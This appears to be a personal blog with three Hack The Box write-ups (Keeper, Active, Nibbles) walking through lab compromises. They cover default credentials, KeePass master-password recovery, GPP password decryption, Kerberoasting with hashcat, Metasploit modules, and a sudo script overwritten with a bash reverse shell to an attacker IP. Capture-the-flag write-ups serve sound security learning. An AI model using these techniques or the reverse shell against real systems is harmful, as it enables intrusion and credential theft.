    Guessing the password for an admin user, also no luck. The logon form exposes some system information: RT 3.3.3+dfsg-2ubuntu1 (debian). Perhaps a vulnerability?

    There seems to be an SQL injection for ShowPending. Lets have a closer look!

    Hm, seems to be outdated, or at least authenticated, but lets give it a try nonetheless. We have our post request, so it only takes a couple of minutes.

    No dice! Maybe later.

    For now, lets look up the factory default credentials, if they exist. According to a short google search these should be root:password.

    Dice! They worked! We’re in!


    So what now. Lets have a look around. There is another user on this system: lnorgaard@keeper.htb, and they have a note at their account:

    New user. Initial password set to Welcome2023!

    Not sure wat to do with this, i would think that root would have all access.


    Looking around i se a bunch of errors, but not really any new leads. So i logged on with lnorgaard:Welcome2023!

    This indeed still worked! We come to the website in Danish, but immediately we see a ticket with issues for keepass. Keepass, passwords, interesting!

    Opening the Issue we have a message about a keepas crash dump. Very interesting!

    Looking around i dont seem to find the download attachment button for this ticket. Apperently they are saved in the database somehow. Also, it seems that Root has created this ticket. Maybe it has hidden dat data somewhere?

    Apperently the attachment was removed, but placed in the home directory. Is this user also a user on the box? Lets check it out.

    Success!


    When unzipping the RT3000.zip we find 2 files inside:

    • KeePassDumpFull.dmp
    • passcodes.kdbx

    a quick google search and i found a github repo that apperently can get the master-password for this dump, abusing a CVE-2023-32784.

    https://github.com/z-jxy/keepass_dump/blob/main/README.md

    Running it against the dump i get the following password: dgrd med flde

    This does feel danish to me, and googling it brings me to: Rød grød med fløde (which is a type of desert).

    In the examples within the github, the first letter is missing oftenly in the first overview. So i would guess that the master password is:

    rdgrd med flde
    Rdgrd med flde
    Rødgrød med fløde
    rodgrod med flode
    rødgrød med fløde
    
    
    And what to do with those. I'm looking for a way to extract content from this dumpfile somehow. But i also got the passcodes.kdbx. Maybe i need to do something with that

    I managed to download a linux copy keepass by doing this:

    ┌──(root㉿kali)-[/home/kali]
    └─# sudo apt-add-repository ppa:jtaylor/keepass
    sudo apt-get update
    sudo apt-get install keepass2
    

    running keepass2 from the command line gives me the full GUI.

    Here i can load the passcodes, and enter the password which was rødgrød med fløde.

    The first entry i see seemed to contain a putty ssh key for the root account. sudo apt install putty, installs putty 🙂

    Take the Notes content completely and put it in a file. I named mine id_rsa.

    Run putty, specify the ssh credentials under Connection, SSH, Auth Credentials

    we’re in!

    And there is the flag!


    Final thoughts

    This was a fine box, nothing too great! Was more of a puzzle than anything else. The longest time was spent on getting the password for keepass right, but after that, smooth sailing!

  • HTB: Active

    A Windows box this time. Its called Active. What are the chances that this is about Active Directory exploitation? I think fairly probable! I like Active Directory enumeration, so that would be great! Lets boot it up!


    First recon. I ping the host to check vpn connectivity, and follow up with a portscan

    ┌──(root㉿kali)-[/home/kali]
    └─# nmap -sV -sC -p- 10.129.5.8   
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-19 17:35 -0500
    Nmap scan report for 10.129.5.8
    Host is up (0.0057s latency).
    Not shown: 65512 closed tcp ports (reset)
    PORT      STATE SERVICE       VERSION
    53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
    | dns-nsid: 
    |_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
    88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-19 22:36:32Z)
    135/tcp   open  msrpc         Microsoft Windows RPC
    139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
    445/tcp   open  microsoft-ds?
    464/tcp   open  kpasswd5?
    593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  tcpwrapped
    3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
    3269/tcp  open  tcpwrapped
    5722/tcp  open  msrpc         Microsoft Windows RPC
    9389/tcp  open  mc-nmf        .NET Message Framing
    47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    49152/tcp open  msrpc         Microsoft Windows RPC
    49153/tcp open  msrpc         Microsoft Windows RPC
    49154/tcp open  msrpc         Microsoft Windows RPC
    49155/tcp open  msrpc         Microsoft Windows RPC
    49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    49158/tcp open  msrpc         Microsoft Windows RPC
    49165/tcp open  msrpc         Microsoft Windows RPC
    49166/tcp open  msrpc         Microsoft Windows RPC
    49173/tcp open  msrpc         Microsoft Windows RPC
    Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-time: 
    |   date: 2026-01-19T22:37:28
    |_  start_date: 2026-01-19T22:19:17
    | smb2-security-mode: 
    |   2.1: 
    |_    Message signing enabled and required
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 131.95 seconds
    

    the open Kerberos (88) and LDAP (389,636) ports seem to confirm my expectation that this is indeed a Active Directory server. Apperently Server 2008 R2. Pretty old.

    With empty creds we can enumerate the shares on SMB

    ──(root㉿kali)-[/home/kali/htb/nibble]
    └─# smbmap -u '' -p '' -H 10.129.5.8     
    
        ________  ___      ___  _______   ___      ___       __         _______
       /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
      (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
       \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
        __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
       /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
      (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
    -----------------------------------------------------------------------------
    SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                         https://github.com/ShawnDEvans/smbmap
    
    [*] Detected 1 hosts serving SMB                                                                                                  
    [*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                                 
    [+] IP: 10.129.5.8:445  Name: 10.129.5.8                Status: Authenticated
            Disk                                                    Permissions     Comment
            ----                                                    -----------     -------
            ADMIN$                                                  NO ACCESS       Remote Admin
            C$                                                      NO ACCESS       Default share
            IPC$                                                    NO ACCESS       Remote IPC
            NETLOGON                                                NO ACCESS       Logon server share 
            Replication                                             READ ONLY
            SYSVOL                                                  NO ACCESS       Logon server share 
            Users                                                   NO ACCESS
    [*] Closed 1 connections                                                                

    mostly no access, but we can read Replication.

    signing in on the replication share anonymously we see the hostname of the box.

    ┌──(root㉿kali)-[/home/kali/htb/active]
    └─# smbclient \\\\10.129.5.8\\Replication
    Password for [WORKGROUP\root]:
    Anonymous login successful
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                   D        0  Sat Jul 21 06:37:44 2018
      ..                                  D        0  Sat Jul 21 06:37:44 2018
      active.htb                          D        0  Sat Jul 21 06:37:44 2018
    
                    5217023 blocks of size 4096. 284068 blocks available
    smb: \> 

    I don’t have a smart way of doing this, i just browse trough the folders opening the files, see what i have.

    When browsing this directory, i found a path with a file that seems to have a password hash?

    smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\> ls
      .                                   D        0  Sat Jul 21 06:37:44 2018
      ..                                  D        0  Sat Jul 21 06:37:44 2018
      Groups.xml                          A      533  Wed Jul 18 16:46:06 2018
    
    more Groups.xml>
    
    <?xml version="1.0" encoding="utf-8"?>
    <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
    </Groups>
    

    this looks like a hash for active.htb\SVC_TGS. Lets look a bit further, but this looks promising. Part of the Ticket Granting Service of Kerberos i hope.

    Googling cpassword a bit apperently these were encrypted using a static universal AES key. kali comes with a tool gpp-decrypt, which can be used to decrypt the password.

    ┌──(root㉿kali)-[/home/kali/htb/active]
    └─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
    GPPstillStandingStrong2k18
    

    We now have a user, with which we can try to interact with the system. Lets see if these creds now work!

    We have more shares in read only now! So i guess they still work!

    • SVC_TGS
    • GPPstillStandingStrong2k18

    Now, there exist an amazing mind-maps on AD exploitation. for example:

    https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

    https://mayfly277.github.io/assets/blog/pentest_ad_dark.svg

    I will not try to use what i know before falling back on these.


    First of all, lets see if we can get a session on the server using evil-winrm.

    ┌──(root㉿kali)-[/home/kali/htb/active]
    └─# evil-winrm ? -u SVC_TGS -p GPPstillStandingStrong2k18 -i 10.129.5.8
                                            
    Evil-WinRM shell v3.9
                                            
    Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    
                                            
    Error: Connection timeout or error occurred: Errno::ECONNREFUSED - Connection refused - Connection refused - connect(2) for "10.129.5.8" port 5985 (10.129.5.8:5985)                                                                                                                
                                            
    Warning: Cleaning up and exiting...

    Too bad, no dice!


    Again is started browsing the new shares. The Users share seems to be C:\Users where SVC_TGS is a user with the user flag on its Desktop. So got that!


    So after trying some things i thought i’d see if there are kerberoastable users on the system. These are users for which you can request their password hash.

    ┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
    └─# python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.5.8 -request
    Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
    
    ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
    --------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
    active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2026-01-19 17:20:27.948959             
    
    
    
    [-] CCache file is not found. Skipping...
    $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$7e814cb9ac36dfb395440e6fac4dea1a$cbd22d31815cd9ad57b5cfedeec96f7ea65be24e71851bb9b81be603e11a02119c9df8524ce8cb8b101fbaaa4c07145404ad4c99d57aaa87a299c61d1492ce2d535539dfc4d054200e5187a907e31891c62313d7ece407449e76a8b83e3b1af18b4d5758751c2aa7743abbd75e07a53d122407728ee5181a826d32a84f94b60186b575be2a16487d5e4515f01e6eeb8e576382db24c04aa578af470c33e674a675964058306db9f200be3d0e6b677a70681f1680899d99ecc54c6fd3e787e5f0b5630ce004bc1b480b55011ae2cfefa0982021f3c8b6741abc16dbda427254eaff9866672e4e08cd736a7eb6674e422470f4a351a6167c8f5375babe188f53d06bf9e93575ba4e95444ca2f889e042b747d4c72261e3e701277a90174ed3f68829905d3055f02b5f11852b2724d65da8d57e5036977c805860f5dd3c7e292ddafab3803b614d67d79ea12b644ae7ee9812a66f9cef7478c07317627ddc6571bbc8094d94209ecdec8f5bd8c3b4e6547178f13236de956d68cb623b8e74b9359792ace7bc9369257b86dea37aff2425d406cfad5a53fd63324218653a3cc9f5274e07de8354857b3fcc8971fcdac4e7e45863ef0b3a7ed86834f9652e5fda47205c233671ce964f015e7fa910a4030940c8a51f4735c7cca95797b51266347eeea2a3962d8ef42cde9e4a7942d2d16bd7b888982de9246221d16bb59ffbcd49dfcae90c4f2b948683ee26b98d4d486ee2db1d6d32b69c2a8d6efcb8ed3b0935525ef85c090044a6f5444079f77b351b659ac43c3c08650d20fd9b3d0bd3a842e577fa0afcf1f3188ad20cc848572a4ef9be9a9459823044496921b61a0144543a7b5613746319eaccfcdd9d599b0dcd1a730107c8cf308446459b17906ab5ddcd4718943ae96a786806764d8ed9eb7a8323b6c1be97995fa70e7f5b31056f12d62c908ccd268b8b0355a0dab3a80c435cea29d03d0da707d5d7c51a98f6f8fa55839c101d6c0a0f16c44ac72361cdb24024a630a802de8f3614ec0d457c513af0836e1d3f586b43741a6ba85d569c35689f9ff89cf594944f020e5442223ea10bb91c40f1f900934c5a38287103685ed1553aefa2d60320283e354916ac3a3a202d92f91f7f378d4e4479917cbddef2ad2a8f03160a791a8e30731b111356c33ca1845f55618e9b4a154c1ea6455685d24e126d4567a8ebf0bebd6fe79cdc98746325351909588227580c69ad64db3c30f590579c2570f7f8fd1b

    We saved this hash, and went after it with Hashcat!

    First we need to identify what kind of hash we’ve got.

    https://hashcat.net/wiki/doku.php?id=example_hashes

    luckily hashcat has kind off a lookup table for this 🙂 It would seem that mode 13100 is the one!

    hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt

    A couple of seconds and Cracked!

    • administrator
    • Ticketmaster1968

    so with this credential i can use SMB again to get the root flag i guess. But i wanna see if i can get a shell still using Eternalblue.


    msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.129.5.8
    rhosts => 10.129.5.8
    msf exploit(windows/smb/ms17_010_eternalblue) > set smbdomain active.htb
    smbdomain => active.htb
    msf exploit(windows/smb/ms17_010_eternalblue) > set smbpass Ticketmaster1968
    smbpass => Ticketmaster1968
    msf exploit(windows/smb/ms17_010_eternalblue) > set smbuser administrator
    smbuser => administrator
    msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.15.104
    lhost => 10.10.15.104
    msf exploit(windows/smb/ms17_010_eternalblue) > run
    [*] Started reverse TCP handler on 10.10.15.104:4444 
    [*] 10.129.5.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
    [-] 10.129.5.8:445        - An SMB Login Error occurred while connecting to the IPC$ tree.
    [*] 10.129.5.8:445        - Scanned 1 of 1 hosts (100% complete)
    [-] 10.129.5.8:445 - The target is not vulnerable.
    [*] Exploit completed, but no session was created.
    msf exploit(windows/smb/ms17_010_eternalblue) > 

    nope, still not. Oh well, lets get our flag!

    ┌──(root㉿kali)-[/home/kali/htb/active]
    └─# smbclient \\\\10.129.5.8\\Users -U administrator
    Password for [WORKGROUP\administrator]:
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                  DR        0  Sat Jul 21 10:39:20 2018
      ..                                 DR        0  Sat Jul 21 10:39:20 2018
      Administrator                       D        0  Mon Jul 16 06:14:21 2018
      All Users                       DHSrn        0  Tue Jul 14 01:06:44 2009
      Default                           DHR        0  Tue Jul 14 02:38:21 2009
      Default User                    DHSrn        0  Tue Jul 14 01:06:44 2009
      desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009
      Public                             DR        0  Tue Jul 14 00:57:55 2009
      SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018
    
                    5217023 blocks of size 4096. 278933 blocks available
    smb: \> cd  Administrator
    smb: \Administrator\> ls
      .                                   D        0  Mon Jul 16 06:14:21 2018
      ..                                  D        0  Mon Jul 16 06:14:21 2018
      AppData                           DHn        0  Mon Jan 19 17:19:48 2026
      Application Data                DHSrn        0  Mon Jul 16 06:14:15 2018
      Contacts                           DR        0  Mon Jul 30 09:50:10 2018
      Cookies                         DHSrn        0  Mon Jul 16 06:14:15 2018
      Desktop                            DR        0  Thu Jan 21 11:49:47 2021
      Documents                          DR        0  Mon Jul 30 09:50:10 2018
      Downloads                          DR        0  Thu Jan 21 11:52:32 2021
      Favorites                          DR        0  Mon Jul 30 09:50:10 2018
      Links                              DR        0  Mon Jul 30 09:50:10 2018
      Local Settings                  DHSrn        0  Mon Jul 16 06:14:15 2018
      Music                              DR        0  Mon Jul 30 09:50:10 2018
      My Documents                    DHSrn        0  Mon Jul 16 06:14:15 2018
      NetHood                         DHSrn        0  Mon Jul 16 06:14:15 2018
      NTUSER.DAT                       AHSn   524288  Mon Jan 19 17:20:27 2026
      ntuser.dat.LOG1                   AHS   262144  Mon Jan 19 18:07:40 2026
      ntuser.dat.LOG2                   AHS        0  Mon Jul 16 06:14:09 2018
      NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf    AHS    65536  Mon Jul 16 06:14:15 2018
      NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Mon Jul 16 06:14:15 2018
      NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Mon Jul 16 06:14:15 2018
      ntuser.ini                         HS       20  Mon Jul 16 06:14:15 2018
      Pictures                           DR        0  Mon Jul 30 09:50:10 2018
      PrintHood                       DHSrn        0  Mon Jul 16 06:14:15 2018
      Recent                          DHSrn        0  Mon Jul 16 06:14:15 2018
      Saved Games                        DR        0  Mon Jul 30 09:50:10 2018
      Searches                           DR        0  Mon Jul 30 09:50:10 2018
      SendTo                          DHSrn        0  Mon Jul 16 06:14:15 2018
      Start Menu                      DHSrn        0  Mon Jul 16 06:14:15 2018
      Templates                       DHSrn        0  Mon Jul 16 06:14:15 2018
      Videos                             DR        0  Mon Jul 30 09:50:10 2018
    
                    5217023 blocks of size 4096. 278933 blocks available
    smb: \Administrator\> cd Desktop
    ls
    smb: \Administrator\Desktop\> ls
      .                                  DR        0  Thu Jan 21 11:49:47 2021
      ..                                 DR        0  Thu Jan 21 11:49:47 2021
      desktop.ini                       AHS      282  Mon Jul 30 09:50:10 2018
      root.txt                           AR       34  Mon Jan 19 17:20:25 2026
    
                    5217023 blocks of size 4096. 278933 blocks available
    smb: \Administrator\Desktop\> more root.txt

    And there it was! the root flag.

    Conclusion

    So in the end we didn’t get code execution, or administrative access to the system other than via other protocols. That was actually quite interesting! I liked this box! Got to try a lot, but in the end, enumeration was key. That was fun.

  • HTB: Nibbles

    https://app.hackthebox.com/machines/Nibbles

    Initial contact

    Starting off a box as i always do: Ping en nmap the host. Ping so i know the VPN works, and nmap to enumerate open ports and services.

    Two ports open. 22 (ssh) and 80 (http). Fairly standard. we can also see that apache 2.4.18 is is used on the http server.

    A vanilla dirb enumeration doesn’t turn up anything very interesting.

    Lets have a look on the website.

    The landing page seems quite empty. Looking at the page source, we see that there’s another directory where we should go.

    The nibble blog looks a bit like a very old wordpress site. but nibble is apperently some type of CMS of its own.

    Looks like nothing much. It seems to be mainly 1 page: index.php.

    Except for the atom link at the bottom, which goes to a feed.php

    A quick search for nibbleblog on https://exploit-db.com gives us a couple of options.

    It feels like this is the way forward. Lets look at the 2015 one first.

    from msfconsole, i look up the corresponding exploit. and line it up.

    Show options reveals that this exploit works with an authenticated session. I haven’t found any credentials yet. so this seems to be a dead end, for now.

    The second exploit points to some SQL Injection oppertunities. Though i usually look for search functions for SQL Injection, this one seems to work with the parameters of the website itself.

    I havent’s seen parameters page or idpost being used, but lets have a look.

    Shame, both don’t seem to be present to inject into. I have some other parameters, might aswell check if sqlmap picks anything up.

    No luck! lets look further. Quite an old apache version was installed (offcourse, its an old box) Lets see if that should contain some interesting vulnerabilities.

    Also, no luck. Seems this version of apache was quite stable. Lets enumerate more.

    I didn’t do a dirb on the nibbleblog directory yet, so lets see what that turns up. found some more pages.

    These directories are listable, so looking trough the “content” folder i see a reference in private/users.xml of the username admin. Good to know.


    Okay, i’ve perused all the files on the different directories, but can find a password anywhere. I’ve also tried finding some factory default credentials, but since this software got discontinued in 2022, there isnt a lot of information out there. Acually, i had do dodge and weave as to not see all the other write-ups out there.

    I tried all kinds of defaul password combinations with the Admin username we found before. Apperently the password was nibbles.

    I had to look this up in another walktrough. I’m not a big fan of guessing like this. I guess, if i would refine my process to try and combat this, i should make a list with a tool like CEWL, and spray the password. However, there is actually a block function that will block you at some point.

    Anyway, we’re in the admin panel!


    I remember that we had an authenticated arbitrary file upload.

    We’re back in msfconsole, and have set up the exploit.

    and GO! (oops, wrong ip, change it around aaand) GO!

    we have a shell! We’re logged on as nibbler

    uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

    Looking back at the website folder, i wen looking trough some interesting looking files. there was a shadow.php. Now that i can see the content, it contained a password hash and salt.

    <?php $_USER[0]["uid"] = "0"; $_USER[0]["username"] = "admin"; $_USER[0]["password"] = "ea8e3c9799c10e2982c0b54299fd866f32b95f5a"; $_USER[0]["salt"] = "8^8!@tv&zb3"; $_USER[0]["email"] = "admin@nibbles.com"; ?>

    I shall review some other blogs to see if i should’ve been able to get this without guessing.

    Anyway, this shell gives access to the /home/nibbler/user.txt and gives us t he first flag!


    Now to hunt for the root flag. I like to start with some looking around. There’s a personal.zip in the /home/nibbler directory. Also, looking at what i can run as root with nopassword is the following.

    sudo -l
    Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

    funny thing is that the personal directory doesnt exist here. it seems to have been zipped!

    ls -la
    total 20
    drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
    drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
    -rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
    drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
    -r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
    -r-------- 1 nibbler nibbler   33 Jan 19 16:00 user.txt
    

    Im pretty sure that i can just create these folders, put a reverse shell at monitor.sh, and run it with sudo. Lets try it!

    For reverse shells my go to is https://www.revshells.com/

    lets get a bash reverse shell:

    and echo it to the script we need.

    To ensure execution with bash, not sh, i added /bin/bash -c ‘payload’, like this:

    echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.15.104/8888 0>&1'" > monitor.sh
    
    sudo ./monitor.sh
    

    and, succes!

    /root/root.txt is now available. This concludes this box!


    Final thoughts

    It was an easy box, this i knew before i started. But that’s fine! What i didn’t like is that you have to guess the password to the admin user. Maybe the box is dated, and this was the factory default.

    This way i spent a lot of time enumerating for some data that isn’t even there. i mean, i did try admin:admin and admin:password, but other than that. i dont know…

    Oh well. We’re done now, onto the next!